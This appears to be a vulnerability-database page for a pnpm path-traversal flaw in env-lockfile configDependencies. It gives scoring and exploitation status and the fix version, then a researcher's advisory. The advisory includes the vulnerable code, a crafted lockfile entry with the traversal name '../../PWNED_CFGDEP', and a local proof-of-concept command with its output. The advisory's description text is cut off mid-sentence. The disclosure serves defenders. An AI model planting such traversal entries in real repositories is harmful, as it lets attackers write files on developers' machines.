CVE-2026-59195VulnerabilityPublished 13 Aug 2026Updated 26 Oct 2026

configDependencies env lockfile · pnpm: Path traversal

Affects pnpm@10Source GCVE Database

Not known to be exploited · CVSS 8.2 High : upgrade to 10.34.5 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score

8.2High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.4% chance of exploitation in 30 days – higher than 34% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 10.34.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Changed
Confidentiality: None
Integrity: High
Availability: Low

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade pnpm@10 to 10.34.5.

Affected software

Product	Affected	Fixed in
Homebrewpnpm@10`pkg:brew/pnpm%4010`Other threats	Affected >=10.33.2 <10.34.5	Fixed in 10.34.5

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary `pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`. A malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name. In local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory: ```text expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This works with `--ignore-scripts`, so it does not rely on lifecycle script execution. ## Vulnerable behavior The vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components. The relevant pattern is: ```ts const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config') for (const [pkgName, pkg] of Object.entries(normalizedDeps)) { const configDepPath = path.join(configModulesDir, pkgName) const pkgDirInGlobalVirtualStore = path.join( globalVirtualStoreDir, relPath, 'node_modules', pkgName ) await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath) } ``` If `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`. ## Impact A malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install. This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior. The issue is especially relevant because: * The malicious input is committed in `pnpm-lock.yaml`. * The issue is triggered during `pnpm install`. * It works with `--ignore-scripts`. * It occurs in the config dependency installation path, before ordinary dependency installation. * The user only needs to install a malicious or compromised repository. ## Local proof of concept The following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`. Command used: ```bash python3 ../pnpm_configdeps_path_traversal_poc.py \ --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \ --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log ``` Observed output: ```text [+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim [+] Local registry: http://127.0.0.1:36545/ [+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store [+] Malicious name: '../../PWNED_CFGDEP' [+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config [+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP [+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml [+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/ ``` pnpm output: ```text Installing config dependencies... Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0 Already up to date Done in 906ms using pnpm v11.5.1 ``` The PoC then detected the escaped symlink: ```text [+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP [VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP ``` ## Malicious lockfile structure The malicious input is an env-lockfile `configDependencies` key containing traversal components: ```yaml importers: .: configDependencies: legit-config-dep: specifier: '1.0.0' version: '1.0.0' '../../PWNED_CFGDEP': specifier: '1.0.0' version: '1.0.0' ``` pnpm accepts the traversal-shaped name and reports it as installed: ```text Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0 ``` ## Security boundary violation The intended config dependency root was: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config ``` But pnpm created: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked. ## Suggested remediation Validate every `

References

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